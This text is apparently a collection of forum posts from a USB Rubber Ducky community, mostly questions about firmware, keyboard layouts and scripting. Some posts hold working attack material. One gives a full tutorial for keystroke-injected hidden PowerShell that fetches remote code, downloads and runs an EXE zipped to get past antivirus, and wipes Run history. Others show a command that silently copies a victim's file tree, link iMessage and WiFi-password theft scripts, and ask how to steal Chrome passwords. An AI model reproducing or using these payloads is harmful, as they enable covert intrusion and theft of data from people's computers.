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Hello there, i´m writing my first payload for the USB Rubber Ducky . I'd need a key combination to hide a window, the only problem i have is that i need to do something IN the window so i can't just ban it to the task bar. I hope you could help me. Greetings Ares
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Hi Guys I need help creating a payload on the Twin Duck rubber ducky that silently runs tree /a/ /f on the victims computer and then saves the output to the ducky. This is the code that I have so far: for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%d&echo tree /a /f > echotree.cmd&echotree.cmd > %myd%/results.txt&del echotree.cmd I would like to run it in the Run line. Please help me to optimise it!
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Hi, I have just bought my first Rubber Ducky. And have a question. My intended use is one of awareness. To show what is possible and how a machine can be vulnerable in order to provoke thought and discussion. I know that I can write a payload and once inserting the ducky into the target machine it will execute. My question is, could I write a payload and pre position the file onto a target machine so that I may call the file either remotely or by a nefarious shortcut activated by the locally logged on user? The benefit to me if I can do this is that I can have multiple payloads, showing different things, without having to use multiple Rubber Ducky and inserting the USB each time. Thank you and I look forward to your replies.
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Hello I recently purchased a USB Rubber Ducky and I soon flashed it with twin duck. I then a script on the SD card and plug it in to test the payload. The ducky is just flashing from Green to red countinously. A little help would be great. Thank you, Cassetti
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How does one get the USB Rubber Ducky to mimic ALT PAUSE b, all pressed at the same time? Seems like right now it can only mimic one other key or char with ALT.
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Hello! Thought some of you might find this useful. It is simply a script that retrieves the iMessages archive and sends it over email. The code is a bit long and can probably be sized down and made "better". I would love some feed back on it as this is my first script. Enjoy -wiredbrother https://pastebin.com/XZrcJu0s
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Hey there Hak5 community and fellow Rubber Ducky users! I'm a MacOS user and a beginner when it comes to coding, but I came up with a little bash script to help speed up the encoding process. It's nothing fancy. When I was writing a payload and having to encode then replace the file on the microSD and all that - it was getting a bit tedious. I call it duck_it. It basically takes your scripts as .txt files, encodes them, and transfers them to your microSD card and ejects the card. https://github.com/dot-iso/duck_it I'm new to Bash and GitHub, so there may be some n00b stuff. I'm sure there's a lot of room for improvement
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How does it work / what is it? I have just found one of the fastest ways of executing as much PowerShell code as you want using the USB Rubber Ducky! This script works by grabbing your PowerShell code from an external website. The code the ducky inputs is only 93 Characters long which takes the ducky only around 2 seconds to input. Tutorial: First, you will need a website to upload your .TXT file with all the PowerShell code you wish to execute. You can use a website such as hostinger or 000webhost to create this file. Although, remember these servers may not have 100% uptime. Script for website: The code on my website looks something like this... Add-Type -AssemblyName System.IO.Compression.FileSystem function Unzip { param([string]$zipfile, [string]$outpath) [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath) } $path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" $arr = (Get-Item -Path $path).Property $url = "www.linkToEndPayload" $output = "$env:temp/test.zip"; $out = "$env:temp/Remake.txt"; Remove-Item -Path $output Invoke-WebRequest -Uri $url -OutFile $output Unzip $output "$env:temp/" Rename-Item -Path $out -NewName "Remake.exe" Start-Process -FilePath "$env:temp/Remake.exe" foreach($item in $arr) { if($item -ne "MRUList") { Remove-ItemProperty -Path $path -Name $item -ErrorAction SilentlyContinue } } This code downloads the .EXE payload (Which is stored in a .ZIP file.) We will be running this file on our subjects system. Then the code uses an imported C# library to extract a. ZIP file which allows us to bypass a web protection software called Sophos from blocking the .EXE that we are trying to download. The file is unzipped and then the .EXE is run. Finally, the code deletes the run box history that the ducky creates. Finally, we have to setup the ducky. The ducky simply grabs the above code with a quick web request and then executes it. The code is as short and simple as this... Script for ducky: DELAY 500 GUI r DELAY 100 STRING powershell -W Hidden -Exec Bypass $a = Invoke-WebRequest www.linkToPowershellCodeAbove.com/script.txt; Invoke-Expression $a ENTER That's it! Very fast powershell execution. You can have as much code as you want on the script website. The only disadvantage to this code is that you must be connected to a internet connection. PS: I'm not very good at PowerShell Scripting -
Hello, I installed the Twin Duck firmware a few days ago. I used the Ducky Flasher for flashing, so far so good. Today I wanted to restore the original firmware, unfortunately without success. The Ducky Flasher reports "Error opening the file. Something went wrong with creating the memory image." What did I do wrong ? is there a chance to restore the Ducky? Thanks in advance
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I want to build a USB rubber ducky simulator using python. How Can I simulate keyboard presses in python? Can someone point me in the right direction please? In an ideal world I would love to develope a suite of tools that can be accessed from a GUI to configure/test and monitor Hak5 gear, but sadly this maybe beyond my capabilities :-(
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I am unable to use scripts that open CMD as admin because phantom ENTER lines are bring executed after my "STRING cmd" lines in my ducky scripts. This is also happening other places. I have a workaround to get an admin prompt; but it is of no use because these ENTER keystrokes are bring entered in places where they should not be; and since they aren't actually in the script I cannot remove them. It may be that the end of line EOL character (LF in this case) is being interpreted as an ENTER keystroke. Is there anyway to convert all EOL characters in a file from LF or CRLF to some kind of NULL character so the Duckhunter HID conversion tool won't add in these ENTER keystrokes? Thanks to all who reply. This has been driving me nuts! -
Hi all, First of all, sorry if this is not in the right section. Admins please move if so. So I built a little Pro Micro ducky yesterday, I loaded it in to the Duckuino and got my code, after uploading it into th Pro Micro, I don't get the results I am looking for. I am using a British keyboard layout laptop that has been converted to AZERTY (stickers) This input language I use is English I would like to test the Wifi Grabber script on my PC but all I get is random programs opening not even the CMD prompt, I can see at some point it has written on a .txt file that I already had open and it seems to be messing up AZERTY and QWERTY NOW I have done some reading and lots of trial and error on these sites and apps but still cant get this to work. https://github.com/Plazmaz/Duckuino https://ducktoolkit.com/ I am new to this so please be nice, If there is a correct procedure for this I would be grateful Kind Regards Matt
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Is there any documentation for the many USB Rubber Ducky firmware images? From what I have been able to surmise in the forums, the duck.hex is the original firmware and the c_duck images are the Twin Duck variants. Can anyone tell me what functions the other firmware images on GitHub might serve and whether they require keyboard interaction to function? Composite_Duck_4cap.hex Composite_Duck_S003.hex Rand_Delay.hex USB_Spammer_v1.0.hex USB_v2.1.hex c_duck_osx.hex c_duck_uk.hex c_duck_us.hex c_duck_v2.1.hex c_duck_v2_S001.hex c_duck_v2_S002.hex duck.hex duck_v2.1.hex duck_v2.hex m_duck.hex m_duck_v2.hex osx.hex usb.hex usb_v2.hex
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Hey guys I've spent a few weeks playing with the usb rubber ducky and I finally understand it now ( I'm new to hacking and computers and stuff. And when I mean hacking I mean white hat, discovering flaws and searching for fixes). The rubber ducky is great and powerful. First off. There are a lot of flaws detected for windows and mac machines but I am looking for flaws in chromebook machines. I've discovered so many but then again there are so many more. Chromebooks are the future of tech/laptops/ small laptop book things. Is there a way to get cached passwords just through a command line? Chromebooks are super slow and the rubber duck is fast... it wouldn't work to go into chrome settings then copy passwords. Anyone find a flaw which allows them to get chrome passwords fast?
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Hey, does anyone in the UK/France have a place where you can order the USB Rubber Ducky with free/cheap delivery? Thanks!
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Hey guys I'm new to the USB rubber ducky and have some questions. I want to try and make some payloads for chromebooks due to their wide use everywhere. Will that work? The password stealing payload was cool but it doesn't work due to the chrome update. I have a work around but it takes a little longer, involves going to chrome web store, installing "show password" extension, showing password, copying it, etc. Is that even possible to do with the USB rubber ducky? Where do I start? Thanks
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Hello, I'm trying to compile custom firmware for a rubberducky, because I want to change the ducky's serialnumber. I've found the setting I want to change: \USB-Rubber-Ducky-master\Firmware\Source\Mass_Storage\USB\src\config\conf_usb.h > define USB_DEVICE_SERIAL_NAME "..." // Disk SN for MSC So now I just need to compile this into new working firmware. But I can't find a guide on doing this anywhere, and I haven't done much compiling/coding, so I don't have the experience to do it on my own. I've downloaded "Atmel Studio 7.0" since I read somewhere that that is what's needed, but after a lot of clicking arround and opening files and pressing buttons, I can't seem to get it to compile anything.. Can anyone help me with this? FYI: I've done my fair share of coding for arduino's/pi's and hardware hacking so I'm not a complete noob, but this has left me flustered a bit...
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The Wifi password grabber has been working great for the PC's ive used it on. Then i noticed something, On networks with two or more words in their SSID (etc; Park Home, Meme House or KFC Wifi) The Ducky will output : Network type: %B%, Authentication: %C%, Password: %D%, Instead of the normal Values. This only happens on networks with more than 2 words in their SSID. Any way to fix it? Link to the github with the wifi payload: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---WiFi-password-grabber
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Hello! I have run into a problem on the new 1.1 Firmware for the BashBunny! The problem is that I am not able to use a diffrent keymap than US, in this case SE. Before you sat the languages by QUACK SET_LANGUAGE se but know according to the new readme in the docs folder you set the languages by DUCKY_LANG=us. With and without QUACK in front of it I don't get it to work. I have copied all the .json languages files from ducky installer to the languages folder, maybe the problem is that I have not installed the languages files correctly. Help would be appreciated.
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Hey all, I'm interested in compiling Ducky Script to c++ that will run on an arduino. I would like to take ducky scripts such as the Wallpaper prank, and be able to easily put it on an arduino without having to modify any code myself. Why use an arduino? I have a lot of them, and I would like to take advantage of them. While I did manually write the code for the wallpaper prank in c++ last night, I would like the process to be streamlined by a compiler. I've done some research already and have tried out a few compilers that people have made, such as the Duckuino compiler, but the ones I've found are buggy and throw errors when the arduino IDE is compiling the c++ produced by the Ducky Script compiler. My question is, does anyone know of a working compiler that will take Ducky Script and push it to valid arduino code; or should I just fix the bugs in the Duckuino repo? Let me know if you need more info, or if I'm unclear anywhere. Thanks!
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Hey Rubber Ducky users! So I have recently purchased a Rubber Ducky and started scripting. I went ahead and got some scripts of the github repo and none of them worked properly. Then I went ahead to write the scripts myself starting with a simple Hello World working my way up. On the project of making a wallpaper prank script i noticed that some commands weren't working. The REPLAY command and the MENU/APP command are not executed. As this is a fresh Rubber Ducky, could this be a problem of firmware or could it be because I am using Windows 10? Or maybe a diffrent reason? Thanks in advance!
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So I have been working on a script (admittedly for a while, this is my first script) to grab wifi names and passwords off computers and dump them to a text files. So fair I have it working great, it grabs every wireless Internet connection that the computer has ever made and it dumps it straight back to usb within seconds, to grab and go. I just need help with one thing... How to hide the powershell window and is there anyway of making this script better (I already know i can use powershell to sent txt files to servers or through email i just think its easier with such a simple script to dump it straight back to usb)? Here is the Script
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The programming language, dubbed DuckyScript, is a simple instruction-based interface to creating a customized payload. However, it runs independently from the microcontroller that installs the drivers to the machine. On some older models running Windows XP, the device took upwards of 60 seconds to install the drivers. On newer machines running Windows 7, it took anywhere from 10-30. And if the drivers take longer to install than the delay you put at the beginning of your payload, it will begin firing off anyways. Source: https://thehacktoday.com/60-best-rubber-ducky-usb-payloads/
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Hello, it looks like i placed topic in wrong area so posting here in relative one ( as i thought i will not get reply on that post which is not related), sorry for that. i am new with rubber ducky, can anyone explain the below things to me so that i can get a clear image for it. can i use it as a usb mass storage device ? like it should show in PC that new mass storage device found and i can put files into it directly ( the mounted sdcard space) ? without remove sd card again and again ? will payloads wrok ? if i put files directly from PC into sdcard (without removing) using ducky usb port ? will ducky works (executes the commands / keyboards key ) while pluging into PC first time ? like as i feel like it does'nt work on first time it detects and install drivers and i have to re-plugin again to get it work. Thank you in advance, please explain a bit and suggest. -
Hello all, i am new with rubber ducky, can anyone explain the below things to me so that i can get a clear image for it. can i use it as a usb mass storage device ? like it should show in PC that new mass storage device found and i can put files into it directly ( the mounted sdcard space) ? without remove sd card again and again ? will payloads wrok ? if i put files directly from PC into sdcard (without removing) using ducky usb port ? will ducky works (executes the commands / keyboards key ) while pluging into PC first time ? like as i feel like it does'nt work on first time it detects and install drivers and i have to re-plugin again to get it work. Thank you in advance, please explain a bit and suggest.
